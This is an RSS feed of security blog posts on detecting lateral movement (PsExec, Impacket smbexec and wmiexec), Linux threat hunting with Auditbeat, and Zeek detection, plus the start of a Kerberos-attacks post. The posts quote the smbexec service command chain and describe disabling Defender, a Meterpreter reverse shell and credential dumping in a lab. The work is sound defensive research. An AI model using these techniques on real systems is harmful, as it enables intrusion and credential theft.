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        <title><![CDATA[Stories by Abhijith Rao on Medium]]></title>
        <description><![CDATA[Stories by Abhijith Rao on Medium]]></description>
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            <title>Stories by Abhijith Rao on Medium</title>
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            <title><![CDATA[Lateral Movement Detections: PsExec/Like-PsExec tools activity]]></title>
            <link>https://abhijithraom.medium.com/lateral-movement-detections-psexec-like-psexec-tools-activity-a305791280f7?source=rss-51d59c832185------2</link>
            <guid isPermaLink="false">https://medium.com/p/a305791280f7</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[elk]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[psexec]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Abhijith Rao]]></dc:creator>
            <pubDate>Wed, 01 Sep 2021 18:01:39 GMT</pubDate>
            <atom:updated>2021-09-03T09:59:13.476Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Lateral movement (</em><a href="https://attack.mitre.org/tactics/TA0008"><em>TA0008</em></a><em>) continues to strongly remain a core tactic used by attackers where the successful activity leads to huge impact to the effected organization. In fact, this stage magnifies the attacker’s goals or objectives.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*eVHQYnJvGZYrpUm62QGSaA.jpeg" /><figcaption>Ring-tailed Lemur from Madagascar</figcaption></figure><blockquote>In this blog post, let us go through some of the tools used by attackers to crawl across the networks. The important part here is — usage of less noisy tools are always preferred to stay under the radar from the logging level on the endpoint as well as traditional AV/IPS signatures.</blockquote><p>Machines used for the demonstration purpose –</p><p>1. Kali Machine (Attacker simulated machine)</p><p>The tools used are —</p><ul><li>Metasploit-PsExec (High Noise/Windows Defender has detection)</li><li><a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py">Impacket-psexec</a> (High Noise/Windows Defender has detection)</li><li><a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py">Impacket-smbexec</a> (Low Noise/Windows Defender has no detection)</li><li><a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py">Impacket-wmiexec</a> (Low Noise/Windows Defender has no detection)</li></ul><p>2. Windows 10 (Victim machine): <a href="https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html">Winlogbeat</a> installed to collect Application/Security/System/Defender logs</p><p>3. <a href="https://www.elastic.co/what-is/elk-stack">ELK</a> stack hosted on Linux server.</p><p><strong><em>Note#1:</em></strong><em> For the above offensive tools to work, it requires local/domain administrator credentials of the victim machine.</em></p><p><strong><em>Note#2:</em></strong><em> I have purposefully did not collect Sysmon logs just to emphasize the efficiency of Windows — Application/Security/System logs.</em></p><h3><strong>Demo Time !!</strong></h3><h4><strong>1. Metasploit-PsExec</strong></h4><p>To launch this attack, Metasploit inbuilt PsExec was used. This is super noisy module and easily gets defender’s attentions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*BF-wBkTwyOlq2woTCmLB6Q.png" /><figcaption><em>Metasploit PsExec</em></figcaption></figure><p>As said, unfortunately exploit didn’t work at the first place due to Windows Defender flagged it as Trojan Dropper :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*TJm_jn5igEkoZV__ClMYUQ.png" /><figcaption>Defender Event ID : 1116 &amp; 1117</figcaption></figure><p>So, it made me to disable the Defender.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*L20wryo91T1KOHfvr852Vw.png" /><figcaption>Application Event ID : 15</figcaption></figure><p>When attack was relaunched, it started accessing the IPC$ share — svcctl and initiated the service via PIPE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*LCBAhH4fWwQOsJ8hpG6HXg.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>As we can see below, traffic originating from attacker machine — 192.168.5.108 requested ReadData, WriteData, and Created Pipe Instance via svcctl PIPE from IPC$ share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*VxqR5sBKzZphG5N9p7upZw.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>The network traffic for the same activity shows the evidence which I have mentioned in my previous <a href="https://abhijithraom.medium.com/bro-zeek-the-modern-watchtower-9ef61b09f255">blog</a>.</p><p>Following to that, Service : “MfIdOPlBvOOBkptz” was started under “user mode”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Pbl-BJjVIQbrKDD3ds1YZA.png" /><figcaption>System Event ID : 7045</figcaption></figure><p>Service : “MfIdOPlBvOOBkptz” has invoked the PowerShell process with lengthy command line arguments. We can see parent process — services.exe has invoked cmd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*emLAIxi2ouGPS_FD5mZZIw.png" /><figcaption>Security Event ID : 4688</figcaption></figure><p>And the Command line as below -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*SXeTwi8_cwzTGg37rlNAow.png" /><figcaption>Security Event ID : 4688</figcaption></figure><p>For the deeper analysis of the above code, John Hammond blog can be referred below (Indeed Big Kudos to him!) -</p><p><a href="https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware">https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware</a></p><p>As additional reference, metasploit shellcode was very straight forward in this case and analysis showed Kali IP and Meterpreter reverse TCP port — 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gv44uQSiYYbsSexiMnzJkA.png" /></figure><p>Lastly, “whoami” was executed from the meterpreter session –</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*FyPW3LQPcQAIzV2TlMg5dQ.png" /><figcaption>Security Event ID : 4688</figcaption></figure><h4><strong>2. Impacket-psexec</strong></h4><p>Impacket-psexec was executed from Kali machine, but again Windows Defender caught it and quarantined the dropped file: C:\Winodws\djZFUjJW.exe as below -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*r-Jij758UUvcueCasTjweg.png" /><figcaption>Defender Event ID : 1116 &amp; 1117</figcaption></figure><p>After disabling the Defender, attack was relaunched, and this time attack was successful. The tool has dropped an exe file on writable admin$ share and initiated it as service with random name — “voHw”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*UHtA225zel_xGMQTLn9hrQ.png" /><figcaption>Impacket-psexec</figcaption></figure><p>Now, let us see the Windows Logs for the same.</p><p>As shown above, tool accessed the writable admin$ share and dropped a exe file: GbVkowvs.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*98Y0j_RDgFxKtjFtkt9Umg.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>Traffic originating from attacker machine — 192.168.5.108 requested WriteData access on admin$ share and granted subsequently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*79Tzra6aAu2pE-Zlx1-XuA.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>Malicious file: GbVkowvs.exe was dropped on C:\Windows\admin$. (Initially, for this file Defender flagged it as Win32/RemoteExec)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*isvTMGuWNEcWIb37BxKiTA.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>The dropped exe file will start a new service named – “voHw”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*LtkyPeTvUBD4xzvakJm-iA.png" /><figcaption>System Even ID : 7045</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*QB8fRXyNXwJ3rujzOqx3Kg.png" /><figcaption>System Even ID : 7045</figcaption></figure><p>This tool uses open source built RemComSvc which gives us back the remote admin shell. (https://github.com/kavika13/RemCom)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*_48_FsPyG_lv3kSXJBy1tA.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>Then, parent process “services.exe” invokes dropped file (GbVkowvs.exe) which in turn pops up the administrative shell in return.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*K5ESkfY9d1o-UOcvPosujw.png" /><figcaption>Security Event ID : 4688</figcaption></figure><h4><strong>3. Impacket-smbexec</strong></h4><p>For this tool, Windows Defender has no detections because it does not drop any files.</p><p>The attack when initiated, it started by accessing the IPC$ share and attempted to create service via svcctl PIPE like above tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*aOh_Fy7mCQHmuE1fwqgP2w.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>The next step is to create service named “BTOBTO” using this command — %COMSPEC% /Q /c echo cd ^&gt; \\127.0.0.1\C$\__output 2^&gt;^&amp;1 &gt; %TEMP%\execute.bat &amp; %COMSPEC% /Q /c %TEMP%\execute.bat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Y2AlVB2_79ReQAsCVDWdzg.png" /><figcaption>System Event ID : 7045</figcaption></figure><p>The parent process services.exe invokes cmd.exe and executes the above command as part of service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Fr5gHgLL1hi-7B9pKpM5wg.png" /><figcaption>Security Event ID : 4688</figcaption></figure><p>At the same time, there are multiple events while writing the file named “__output” during the command execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*9-78VvsCwJ2I6iduIV6drQ.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>Tool follows iterative steps for each command. So, in this scenario, as there was no exe file was dropped, each command will run as individual service (BTOBTO) every time and exits. When process exits, it deletes “__output” file as well.</p><p>Now, “whoami” was executed and later it deleted the file “__output”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*DcXbfKmnH5y8mImAD5iGww.png" /><figcaption>Security Event ID : 4688</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*fU-x2UVQnbLnSyampCcnqQ.png" /><figcaption>Security Event ID : 5145</figcaption></figure><h4>4. Impacket — wmiexec</h4><p>This is almost like Impacket-smbexec but here WMI has been used. Windows Defender did not flag this attack as well since there is no binary dropping.</p><p>The attack was initiated by accessing the admin$ share and created the random filename (it is EPOCH time of the file creation — Neat way of randomizing the file names).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*uLxMpv7i4KPoiRW0SbED1A.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>The file was created and read from the admin$ location –</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*gXd_uhupSpe0DBqyNsBeMA.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>Below commands logged parallely-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*llCj08JKv01fP8irRReHsg.png" /><figcaption>Security Event ID : 4688</figcaption></figure><p><strong>Here main thing to notice is — parent process WmiPrvSE.exe is calling cmd.exe</strong></p><p>When whoami.exe was executed, below are the process creation events –</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*0Zn5rKF6BuVKKINUu0v3bw.png" /><figcaption>Security Event ID : 4688</figcaption></figure><p>And finally, it deletes the file after execution –</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*-4Fh-ZVbCasQcZKvPEKgCw.png" /><figcaption>Security Event ID : 5145</figcaption></figure><p>The consolidated Windows Event IDs we observed from the above demonstration are:</p><ul><li>Windows Defender — Event ID: 1116: The antimalware platform detected malware or other potentially unwanted software.</li><li>Windows Defender — Event ID: 1117: The antimalware platform performed an action to protect your system from malware or other potentially unwanted software.</li><li>Windows System — Event ID: 7045: A new service was installed in the system</li><li>Windows Security — Event ID: 5145: A network share object was checked to see whether client can be granted desired access.</li><li>Windows Security — Event ID: 4688: A new process has been created.</li></ul><h3>Conclusion:</h3><p>Threat Actors use these kind of techniques to amplify the impact after intruding into the network. “Visibility” should be a table top exercise when it comes to the Cyber Security Blue Team activities. Happy Blue Teaming!</p><p><strong>References:</strong></p><ol><li><a href="https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket/">https://riccardoancarani.github.io/2020-05-10-hunting-for-impacket</a>/</li></ol><p>2. <a href="https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware">https://www.huntress.com/blog/from-powershell-to-payload-an-analysis-of-weaponized-malware</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a305791280f7" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Linux Threat Hunting — Know your Penguins]]></title>
            <link>https://abhijithraom.medium.com/linux-threat-hunting-know-your-penguins-169297bd444a?source=rss-51d59c832185------2</link>
            <guid isPermaLink="false">https://medium.com/p/169297bd444a</guid>
            <category><![CDATA[elk]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[atomic-red-team]]></category>
            <dc:creator><![CDATA[Abhijith Rao]]></dc:creator>
            <pubDate>Tue, 18 Aug 2020 16:55:16 GMT</pubDate>
            <atom:updated>2020-10-22T03:38:42.788Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Threat Hunting — Know your Penguins</h3><p><em>The attacks on the Linux system are common since decades, but how common are Linux logs collected and processed for better detections?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*y4EFQZ7Eywi0fAa2YLgDzQ.jpeg" /><figcaption>Penguin awareness :)</figcaption></figure><p>This blog highlights how open source platform can be leveraged in detecting simple to sophisticated attacks with bunch of rules and configurations on the endpoint.</p><p>How interesting it is to say, when Linux logs also can be collected and analyzed similar to Windows-Sysmon logs? Yes! this can be achieved with the secret sauce — Auditbeat.</p><p>Let us see below how the collected logs can be utilized to analyze MITRE-mapped attacks.</p><blockquote><em>ART has become already perfect choice to accomplish Emulations which I have demonstrated in my </em><a href="https://medium.com/@abhijithraom1990/threat-hunting-with-elk-wazuh-b604fd05d18e"><em>previous blog</em></a><em> for Windows machines. In this, Linux system was used to uplift the detection range using Beats module.</em></blockquote><p><strong>The tools used are -</strong></p><p>1. Elastic Stack</p><p>2. Auditbeat</p><p>3. Atomic Red Team (ART)</p><p>The key tool here is the usage of Auditbeat on the endpoint for qualitative log collections.</p><p>Auditbeat is powerful log shipper component of Beats Family which is ideal to collect Linux audit framework data and monitor file integrity on the hosts.</p><p>Auditbeat comes with 3 types of modules –</p><ol><li><a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html">Auditd</a> — This module establishes a subscription to the kernel to receive the events as they occur. To capture these events, the specific rules can be written based on the requirements. Well-extracted rulesets can be referred from <a href="https://github.com/Neo23x0/auditd">here</a> [ Florian Roth’s rules :) ]</li><li><a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html">File Integrity</a> — It checks integrity of the file systems.</li><li><a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-system.html">System</a> — This module is specific for collecting the 5 types of data sets i.e., host, login, process, socket, user. The detailed information can be read <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-system.html">here</a>.</li></ol><h3><strong>Demonstration:</strong></h3><p><strong>Technique #1: Execution — </strong><a href="https://attack.mitre.org/techniques/T1059/006/">Command and Scripting Interpreter - Python: T1059.006</a></p><p>To detect the command line activity, infamous lazagne toolkit has been simulated to dump password from memory, browsers, wifi etc., APT 33, APT34, Leafminer had used these credential dumpers in the past.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*tGALDZiZMtb0GQ3iCca77w.png" /><figcaption>lazagne executed on endpoint for password dumping</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*2a8QM8tDEW2TfWaCfaHyOg.png" /><figcaption>python utility is used to dump password from memory</figcaption></figure><p><strong>Technique #2: </strong><a href="https://attack.mitre.org/tactics/TA0003/"><strong>Persistence</strong></a><strong> — </strong><a href="https://attack.mitre.org/techniques/T1543/002/">Create or Modify System Process: Systemd Service: T1543.002</a></p><p>Systemd is software belongs to “init” systems which is used to manage services/resources in the background and make sure services are up when the system boots up. Adversaries take advantage of this utility to gain system level persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*Xr-NJP4aVLy9qjKJC5HDww.jpeg" /><figcaption>systemctl utility is used to “initialize” auditbeat service</figcaption></figure><p><strong>Technique #3: </strong><a href="https://attack.mitre.org/tactics/TA0003/"><strong>Persistence</strong></a><strong> — </strong><a href="https://attack.mitre.org/techniques/T1053/003/">Scheduled Task/Job: Cron: T1053.003</a></p><p>Cron is built-in utilty used for scheduling the scripts or services to run on regular intervals. Adversaries take advantage of this utility to gain system level persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*9zJRPG4_x-OtdLCSawQ_rw.png" /><figcaption>nano editor is used to create cron jobs</figcaption></figure><p><strong>Technique #4: </strong><a href="https://attack.mitre.org/tactics/TA0004"><strong>Privilege Escalation</strong></a><strong> — </strong><a href="https://attack.mitre.org/techniques/T1548/001/">Abuse Elevation Control Mechanism: Setuid and Setgid: T1548.001</a></p><p>setuid and setgid are the two flags which is related to access rights in Linux Systems. These flags allow users to run an executable with the file system permission of the executable’s owner or group respectively. Chmod utlity can be used to set the flags for specific files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*M3tukORB5AVUFBDsZ-9oLA.png" /><figcaption>chmod utility is used to set those two flags</figcaption></figure><p><strong>Technique #5: </strong><a href="https://attack.mitre.org/tactics/TA0005"><strong>Defense Evasion</strong></a><strong> —</strong> <a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories: T1564.001</a></p><p>In the Unix/Linux systems, files/folders can be hidden using “.” prefix. Actually, this is intended to avoid users accidentally modifying the files. To view these hidden files “ls -a” can be used to reveal the hidden files. APTs are fond of using these tricks as defensive mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*t2d-wAV1xFEmOZxLEM37hA.png" /><figcaption>mkdir utility is used to create hidden directories</figcaption></figure><p><strong>Technique #6: </strong><a href="https://attack.mitre.org/tactics/TA0005"><strong>Defense Evasion</strong></a><strong> — </strong><a href="https://attack.mitre.org/techniques/T1070/006/">Indicator Removal on Host: Timestomp: T1070.006</a></p><p>Timestomping is a technique that modifies the timestamps of a file (Modify, Access, Create, Change — MACB) results in mimicking the time attributes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*W2QWAz8LomSFRGYHq3Bv3Q.png" /><figcaption>touch utility is used for timestomping</figcaption></figure><p>These are the sample detections to reveal how auditbeat can be brought into play in threat hunting activities. Likewise, many use cases can be created and detected by referring to the MITRE Framework.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*kYElmVfPDcHxKwjjcV_q0A.png" /></figure><p>References:</p><ul><li><a href="https://github.com/Neo23x0/auditd">Neo23x0/auditd</a></li><li><a href="https://www.elastic.co/beats/auditbeat">Auditbeat</a></li><li><a href="https://atomicredteam.io/">Explore Atomic Red Team</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=169297bd444a" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[BRO/ZEEK — The Modern Watchtower]]></title>
            <link>https://abhijithraom.medium.com/bro-zeek-the-modern-watchtower-9ef61b09f255?source=rss-51d59c832185------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ef61b09f255</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[zeek]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Abhijith Rao]]></dc:creator>
            <pubDate>Sat, 28 Mar 2020 13:42:41 GMT</pubDate>
            <atom:updated>2020-03-28T13:42:41.485Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>BRO/ZEEK — The Modern Watchtower</strong></h3><p><strong><em>Network traffic is always noisy. But sometimes it whispers too. So, why not pay a very close attention when it whispers “BRO” </em></strong>🦊</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOMhG14HjARl1zal6gWvjg.jpeg" /><figcaption><a href="https://en.wikipedia.org/wiki/Fennec_fox">Fennec Fox</a></figcaption></figure><p>This blog talks solely about well-known Network Security Monitoring (NSM) Tool — ZEEK (formerly known as BRO). Being an open-source platform, Zeek is the perfect choice as it is very powerful in passive monitoring and detecting well-known APT-style Techniques, Tactics, Procedures (TTPs). The tool’s capability can be statistically elevated by ingesting openly available third-party scripts and alerts can be configured for the same in traditional/Next-Gen SIEM solutions. For this, Zeek supports Package Manager. Having package manager configured in the Zeek central node, the scripts management becomes very handy for the effective administration.</p><blockquote><strong>Background: </strong>Zeek is highly considerable Open-Source Network Security Monitoring Tool which is written in C++. The objective of the project development was not for the active network defense rather it focused on the passive detection and can be utilized for Security Orchestration. In simpler words, it cannot take any automatic actions on the observed attacks, but it can trigger the real time security alerts in Log Management/SIEM solutions which facilitates immediate Incident Response procedures.</blockquote><p>Coming back to the package manager features, like I said above, there are multiple third-party scripts available in its repository. But the catch is, we need to identify which package suits to our environment and fulfill the requirements. For the demonstrations purpose, I will walk through the <a href="https://github.com/mitre-attack/bzar">BZAR</a> project (Bro/Zeek ATT&amp;CK-based Analytics and Reporting) and show how it is effective in detecting Lateral Movements.</p><p><strong>Let us look into brief Anatomy of BZAR before heading into the demonstration –</strong></p><p>BZAR scripts are developed by MITRE Corp. and currently supports the detection of adversarial Lateral Movement activities inside the network. As the attackers are known for abusing SMB protocol for reconnaissance activity since decades, it has become the prime vector of Lateral Movements. Currently, the project utilizes inbuilt Zeek/BRO — SMB and DCE-RPC protocol analyzers and capable of extracting files from the packets for the enhanced analysis. The detection potency is really high as it uses complex analytics using the combination of SMB actions followed by RPC calls. So, when it fine-tuned right, generated alerts yield the exact Lateral Movement activity.</p><p><strong>For the demonstration purpose, I have relayed the available PCAP file from </strong><a href="https://github.com/401trg/detections/tree/master/pcaps"><strong>here</strong></a><strong> and the below is the list of BZAR scripts used for the detections.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*fwrGY74zp1FHoWXhQHz9IQ.jpeg" /><figcaption>BZAR scripts</figcaption></figure><p><em>As highlighted, the main function in package performs the correlation between SMB and DCE-RPC and present the outputs as needed.</em></p><blockquote><strong>The PCAP used for testing is very straight-forward Red Team technique — Attacker has used PSEXEC and succeeded in user creation over the popped remote shell. Generally, APT likes these kind of similar techniques using PSEXEC as detection rates over Virustotal is very low.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWsNZWhySvckMQUg_-cSlQ.jpeg" /></figure><blockquote><em>Interesting right? Now let us understand how these activities can be bring into the limelight without relying on VT detection rates and pin it down?</em></blockquote><blockquote>After all, what does this Wireshark capture have in it? Let us relay this <a href="https://github.com/401trg/detections/blob/master/pcaps/20171220_smb_psexec_add_user.pcap">PCAP</a> through Zeek to see how it parses and generates the results?</blockquote><p>Below are the alerts generated by Zeek Notices and interestingly it has captured the exact sequential adversarial movement when we look closely on the triggered alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LRXALiSHhgo61UZIhnWXlg.png" /><figcaption>Zeek Notices</figcaption></figure><p>The sequential triggers as follows -</p><ol><li>The PSEXEC has attempted to write using<strong> SMB Tree Connect on ADMIN$</strong> (ADMIN$ is nothing but a symbolic link to the path C:\Windows)</li><li>Saves the copy of the executable file on the target machine.</li><li>RPC is invoked for the process creation — svcctl:CreateServiceWOW64W</li><li>Another RPC is invoked for process initiation — svcctl::StartServiceW</li></ol><p><em>So, the detection is the combination of SMB actions and RPC calls.</em></p><p><em>Kudos to MITRE guys for their fantastic work </em>🎉</p><h3><strong>Now, let us look the Alert background -</strong></h3><p>Since there are multiple metadata in the logs, I have chosen raw logs to show which is easy to highlight in the screenshots.</p><p><strong>Zeek comes with outstanding in-built protocol-specific filters to parse most of logs/packets from the wire. It has prevailing dissection capability though.</strong></p><p>In our scenario, for the zeek notices to trigger, it is very essential that the following logs get generated inside the log’s directory. They are -</p><ul><li>smb_mapping.log</li><li>smb_files.log</li><li>dce_rpc.log</li></ul><p>The 3 important logs which I mentioned above looks like this –</p><ol><li><strong>smb_mapping</strong> logs are generated after the parsing SMB Tree connect information from captured SMB traffic.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tEIkxmm0vyoe2RHqzogpfQ.png" /><figcaption><strong>smb_mapping.log</strong></figcaption></figure><p>2. Next comes — <strong>smb_files</strong> logs where we can see SMB Actions like OPEN, WRITE, DELETE actions have been executed over file share network which is very obvious logs we see generally in SIEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4L5lt97LK34cOLwoDHT1Gg.png" /><figcaption><strong>smb_files.log</strong></figcaption></figure><p>3. Last but not the least — <strong>dce_rpc</strong> logs. This is where the actual RPC communications kick started using named pipes. In this scenario, tool opted <strong>svcctl</strong> named pipe.</p><p><em>The svcctl interface is one of the well-know MSRPC which is used to manage Windows services via the SCM (Service Control Manager). Likewise, Zeek currently supports detections on usage of multiple PIPEs as well, such as — IwbemServices, atsvc, ItaskSchedulerService, lsarpc, samr, srvsvc, wkssvc</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Zoaa-UeiuMDI_gLCgmBEw.png" /><figcaption><strong>dce_rpc.log</strong></figcaption></figure><p>And, That’s the wrap! <strong>🎬</strong></p><p>Happy Blue Teaming.</p><p><a href="https://github.com/mitre-attack/bzar">mitre-attack/bzar</a></p><p><a href="https://docs.zeek.org/en/current/index.html">https://docs.zeek.org/en/current/index.html</a></p><p><a href="https://packages.zeek.org/">https://packages.zeek.org</a></p><p><a href="https://github.com/401trg/detections/tree/master/pcaps">https://github.com/401trg/detections/tree/master/pcaps</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9ef61b09f255" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Insights on Kerberos Attacks]]></title>
            <link>https://abhijithraom.medium.com/insights-on-kerberos-attacks-6a5ba4b49fa4?source=rss-51d59c832185------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a5ba4b49fa4</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pass-the-hash]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Abhijith Rao]]></dc:creator>
            <pubDate>Sat, 14 Mar 2020 18:49:53 GMT</pubDate>
            <atom:updated>2022-05-27T03:16:18.635Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*lyeazQKylSHKH8kF6hUafw.png" /></figure><p>Dogs are playful so are the Kerberos. This attribution to 3 headed-dog is from <a href="https://en.wikipedia.org/wiki/Kerberos_(protocol)">Greek Mythology</a> which was known for guarding the gates of Hades. Similarly, Kerberos protocol in other hand was built in 1980s keeping in mind to secure the resources in the networked environment.</p><p>While Kerberos is considered as secure authentication protocol over NTLM because of its way of exchanging the tickets and authorizing the subjects, yet Kerberos authentication cannot be considered as bullet proof when it is configured insecurely. However, perpetrators have somehow managed to execute successful attacks by finding it’s weakness and were able to take complete control of Crown jewels of the organization. APTs have been seen constantly exploiting this Kerberos protocol over globally in which some of the APTs include APT29, APT 32, Ke3chang are focused in Pass the Ticket attacks (T1097). Below are the few examples of generic Kerberos attacks.</p><ul><li>AS-REP Roasting</li><li>Kerberoasting</li><li>Pass The Key (PKK)</li><li>Pass The Ticket (PTT)</li><li>Silver Ticket (forged Kerberos TGSs)</li><li>Golden Ticket (forged Kerberos TGTs)</li><li>Kerberos Brute forcing</li><li>DC Shadow attack</li><li>PAC Attacks — MS14–068</li><li>Skeleton Key Malware</li></ul><p><em>The objective of this blog it to show the demonstration of Kerberos attacks on the simulated Domain Controllers. I came across this lab setup while solving some CTFs and noticed there are couple of DCs in the lab environment and identified it is vulnerable to above mentioned common attacks.</em></p><p>Before moving ahead, let us quickly brush up the basics of Kerberos authorization process. I will not explain in detail as there are already good posts here — <a href="https://www.varonis.com/blog/kerberos-authentication-explained/">1</a>, <a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13">2</a> and <a href="https://www.roguelynn.com/words/explain-like-im-5-kerberos/">3</a> but I will highlight where exactly ‘un’ethical attacker is interested to apply their offensive skills for the successful exploitation.</p><blockquote>Background: How Kerberos Works?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QN9OMq0q0KuPnhcY6CbsDQ.png" /></figure><p>Server Terminology and Brief Description:</p><ul><li>KDC — Key Distribution Center</li><li>AS — Authentication Service</li><li>TGS — Ticket Granting Service</li></ul><p>Tickets Terminologies and Brief Description:</p><ul><li>AS REQ — Authentication Service Request : Purpose of this request is for user identification and hold temporary TGTs for future authentication instead of entering password every time user wants to access.</li><li>AS REP — Authentication Service Reply: AS validates the AS-REQ and shares the TGT</li><li>TGS REQ — Ticket Granting Server Request: User submits the TGT to TGS and request the access to target resources.</li><li>TGS REP — Ticket Granting Server Reply: TGS verifies the TGS REQ and grants Service Tickets.</li><li>AP REQ — Authentication Protocol Request: User shares the TGS to target resources by initiating the AP REQ and access it.</li><li>AP REP — Authentication Protocol Reply: This is optional and used when mutual authentication is required.</li></ul><h3><strong>Demonstration:</strong></h3><h4>AS-REP Roasting</h4><p>This attack works when accounts are not set with Kerberos 